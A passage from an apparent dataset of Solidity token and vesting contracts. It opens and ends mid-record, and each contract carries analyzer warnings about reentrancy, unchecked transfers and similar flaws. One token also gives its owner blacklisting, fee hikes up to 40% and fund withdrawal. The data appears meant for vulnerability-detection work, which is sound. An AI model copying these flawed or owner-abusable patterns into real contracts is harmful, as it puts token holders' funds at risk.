calls-loop | ID: 7eab01d\n\t\t\t// reentrancy-no-eth | ID: c789728\n bool status = IERC20(SaleToken).transfer(_user, transferAmount);\n\n require(status, \"Token transfer failed\");\n\n\t\t\t// reentrancy-no-eth | ID: c789728\n userClaimData[_user][_id].claimAbleAmount -= transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: c789728\n userClaimData[_user][_id].claimedAmount += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: c789728\n userClaimData[_user][_id].claimCount++;\n } else if (\n userClaimData[_user][_id].claimAbleAmount >\n userClaimData[_user][_id].activePercentAmount\n ) {\n uint256 duration = block.timestamp - vesting[_id].vestingStartTime;\n\n\t\t\t// divide-before-multiply | ID: f47cc38\n uint256 multiplier = duration / vesting[_id].vestingTime;\n\n\t\t\t// timestamp | ID: fb61f69\n if (multiplier > vesting[_id].totalClaimCycles) {\n multiplier = vesting[_id].totalClaimCycles;\n }\n\n\t\t\t// divide-before-multiply | ID: f47cc38\n uint256 _amount = multiplier *\n userClaimData[_user][_id].activePercentAmount;\n\n transferAmount =\n _amount -\n userClaimData[_user][_id].claimedVestingAmount;\n\n\t\t\t// timestamp | ID: fb61f69\n require(transferAmount > 0, \"Please wait till next claim\");\n\n\t\t\t// reentrancy-events | ID: 35fbc0d\n\t\t\t// calls-loop | ID: 7378903\n\t\t\t// reentrancy-no-eth | ID: c842ec7\n bool status = IERC20(SaleToken).transfer(_user, transferAmount);\n\n\t\t\t// timestamp | ID: fb61f69\n require(status, \"Token transfer failed\");\n\n\t\t\t// reentrancy-no-eth | ID: c842ec7\n userClaimData[_user][_id].claimAbleAmount -= transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: c842ec7\n userClaimData[_user][_id].claimedVestingAmount += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: c842ec7\n userClaimData[_user][_id].claimedAmount += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: c842ec7\n userClaimData[_user][_id].claimCount++;\n } else {\n uint256 duration = block.timestamp - vesting[_id].vestingStartTime;\n\n uint256 multiplier = duration / vesting[_id].vestingTime;\n\n\t\t\t// timestamp | ID: fb61f69\n if (multiplier > vesting[_id].totalClaimCycles + 1) {\n transferAmount = userClaimData[_user][_id].claimAbleAmount;\n\n\t\t\t\t// timestamp | ID: fb61f69\n require(transferAmount > 0, \"Please wait till next claim\");\n\n\t\t\t\t// reentrancy-events | ID: 35fbc0d\n\t\t\t\t// calls-loop | ID: 6fc874c\n\t\t\t\t// reentrancy-no-eth | ID: e8809af\n bool status = IERC20(SaleToken).transfer(_user, transferAmount);\n\n require(status, \"Token transfer failed\");\n\n\t\t\t\t// reentrancy-no-eth | ID: e8809af\n userClaimData[_user][_id].claimAbleAmount -= transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: e8809af\n userClaimData[_user][_id].claimedAmount += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: e8809af\n userClaimData[_user][_id]\n .claimedVestingAmount += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: e8809af\n userClaimData[_user][_id].claimCount++;\n } else {\n revert(\"Wait for next claiim\");\n }\n }\n\n\t\t// reentrancy-events | ID: 35fbc0d\n emit TokensClaimed(_user, _id, transferAmount, block.timestamp);\n\n return true;\n }\n\n function blockTimeStamp() public view returns (uint256) {\n return block.timestamp;\n }\n}\n",
"file_name": "solidity_code_10044.sol",
"size_bytes": 32988,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: feaf37e): KoreanDrinkingGames.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for feaf37e: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 6b4fb59\n _balances[from] = fromBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 6b4fb59\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: a95eccc\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract KoreanDrinkingGames is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 02076f0): KoreanDrinkingGames.uniV2Pair should be immutable \n\t// Recommendation for 02076f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 290c17c): KoreanDrinkingGames.devAddress should be immutable \n\t// Recommendation for 290c17c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public devAddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 906f753): KoreanDrinkingGames.marketingAddress should be immutable \n\t// Recommendation for 906f753: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public marketingAddress;\n\n uint256 public maxSwapTxAmount;\n\n uint256 public maxWallet;\n\n uint256 public feeThresholdAmount;\n\n uint256 public swapFeePercent;\n\n uint256 public swapBackFeePercent;\n\n bool private _inSwap;\n\n bool private swapEnabled;\n\n mapping(address => bool) private _excludedLimits;\n\n mapping(address => bool) public blacklisted;\n\n event FeeSwap(uint256 indexed value);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: feaf37e): KoreanDrinkingGames.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for feaf37e: Rename the local variables that shadow another component.\n constructor() ERC20(\"Korean Drinking Games\", \"APT\") {\n uint256 totalSupply = 1000000000 * 1e18;\n\n uniV2Pair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n maxSwapTxAmount = totalSupply.mul(2).div(100);\n\n maxWallet = totalSupply.mul(2).div(100);\n\n feeThresholdAmount = totalSupply.mul(5).div(1000);\n\n devAddress = 0x829D2001e76e31786B8Aedd4d3ba1b46767528b9;\n\n marketingAddress = 0x4802335e762a0Ece14CAfeE711C4a833b56fdFc1;\n\n swapFeePercent = 2;\n\n swapBackFeePercent = 2;\n\n swapEnabled = false;\n\n _excludedLimits[devAddress] = true;\n\n _excludedLimits[marketingAddress] = true;\n\n _excludedLimits[msg.sender] = true;\n\n _excludedLimits[tx.origin] = true;\n\n _excludedLimits[address(this)] = true;\n\n _excludedLimits[address(0xdead)] = true;\n\n _mint(tx.origin, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a95eccc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a95eccc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b4fb59): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b4fb59: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n require(\n !blacklisted[from],\n \"Your address has been marked as blacklisted, you are unable to transfer or swap.\"\n );\n\n bool excluded = _excludedLimits[from] || _excludedLimits[to];\n\n require(swapEnabled || excluded, \"Liquidity pair not yet created.\");\n\n bool isSell = to == uniV2Pair;\n\n bool isBuy = from == uniV2Pair;\n\n if ((isBuy || isSell) && maxSwapTxAmount > 0 && !excluded)\n require(\n amount <= maxSwapTxAmount,\n \"Swap value exceeds max swap amount, try again with less swap value.\"\n );\n\n if (!isSell && maxWallet > 0 && !excluded)\n require(\n balanceOf(to) + amount <= maxWallet,\n \"Balance exceeds max holdings amount, consider using a second wallet.\"\n );\n\n if (\n balanceOf(address(this)) >= feeThresholdAmount &&\n !_inSwap &&\n isSell &&\n !excluded\n ) {\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: a95eccc\n\t\t\t// reentrancy-eth | ID: 6b4fb59\n _swapTokenFee();\n\n\t\t\t// reentrancy-eth | ID: 6b4fb59\n _inSwap = false;\n }\n\n uint256 fee = isBuy ? swapFeePercent : swapBackFeePercent;\n\n if (fee > 0) {\n if (!excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = amount.mul(fee).div(100);\n\n\t\t\t\t// reentrancy-events | ID: a95eccc\n\t\t\t\t// reentrancy-eth | ID: 6b4fb59\n if (fees > 0) super._transfer(from, address(this), fees);\n\n amount = amount.sub(fees);\n }\n }\n\n\t\t// reentrancy-events | ID: a95eccc\n\t\t// reentrancy-eth | ID: 6b4fb59\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bde2e7c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bde2e7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _swapTokenFee() private {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) return;\n\n if (contractBalance > feeThresholdAmount)\n contractBalance = feeThresholdAmount;\n\n uint256 initETHBal = address(this).balance;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), contractBalance);\n\n\t\t// reentrancy-events | ID: a95eccc\n\t\t// reentrancy-events | ID: bde2e7c\n\t\t// reentrancy-eth | ID: 6b4fb59\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n contractBalance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethFee = address(this).balance.sub(initETHBal);\n\n uint256 splitFee = ethFee.mul(50).div(100);\n\n ethFee = ethFee.sub(splitFee);\n\n\t\t// reentrancy-events | ID: a95eccc\n\t\t// reentrancy-events | ID: bde2e7c\n\t\t// reentrancy-eth | ID: 6b4fb59\n payable(devAddress).transfer(ethFee);\n\n\t\t// reentrancy-events | ID: a95eccc\n\t\t// reentrancy-events | ID: bde2e7c\n\t\t// reentrancy-eth | ID: 6b4fb59\n payable(marketingAddress).transfer(splitFee);\n\n\t\t// reentrancy-events | ID: bde2e7c\n emit FeeSwap(splitFee);\n }\n\n function enableTrade() external onlyOwner {\n swapEnabled = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 048ca6b): KoreanDrinkingGames.updateFeeThreshold(uint256) should emit an event for feeThresholdAmount = newThreshold \n\t// Recommendation for 048ca6b: Emit an event for critical parameter changes.\n function updateFeeThreshold(uint256 newThreshold) external {\n require(msg.sender == devAddress || msg.sender == owner());\n\n require(\n newThreshold >= totalSupply().mul(1).div(100000),\n \"Swap threshold cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newThreshold <= totalSupply().mul(2).div(100),\n \"Swap threshold cannot be higher than 2% total supply.\"\n );\n\n\t\t// events-maths | ID: 048ca6b\n feeThresholdAmount = newThreshold;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4f4c1ca): KoreanDrinkingGames.setTokenFees(uint256,uint256) should emit an event for swapFeePercent = newBuyFee swapBackFeePercent = newSellFee \n\t// Recommendation for 4f4c1ca: Emit an event for critical parameter changes.\n function setTokenFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(\n newBuyFee <= 40 && newSellFee <= 40,\n \"Attempting to set fee higher than initial fee.\"\n );\n\n\t\t// events-maths | ID: 4f4c1ca\n swapFeePercent = newBuyFee;\n\n\t\t// events-maths | ID: 4f4c1ca\n swapBackFeePercent = newSellFee;\n }\n\n function disableLimits() external onlyOwner {\n maxWallet = 0;\n\n maxSwapTxAmount = 0;\n }\n\n function disableHoldingLimit() external onlyOwner {\n maxWallet = 0;\n }\n\n function removeSwapLimit() external onlyOwner {\n maxSwapTxAmount = 0;\n }\n\n function setBlacklisted(address target, bool state) external onlyOwner {\n require(target != uniV2Pair, \"Cannot blacklist the pair address.\");\n\n blacklisted[target] = state;\n }\n\n function withdrawStuckEther() external {\n require(msg.sender == devAddress || msg.sender == owner());\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1e901bd): KoreanDrinkingGames.withdrawStuckTokens(IERC20) ignores return value by token.transfer(msg.sender,token.balanceOf(address(this)))\n\t// Recommendation for 1e901bd: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawStuckTokens(IERC20 token) external {\n require(msg.sender == devAddress || msg.sender == owner());\n\n\t\t// unchecked-transfer | ID: 1e901bd\n token.transfer(msg.sender, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10045.sol",
"size_bytes": 20104,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e501c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e501c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6e7a9a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6e7a9a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1e501c7\n\t\t// reentrancy-benign | ID: 6e7a9a9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1e501c7\n\t\t// reentrancy-benign | ID: 6e7a9a9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6e7a9a9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1e501c7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b962a3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b962a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 37d2f99): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 37d2f99: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b216e41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b216e41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n 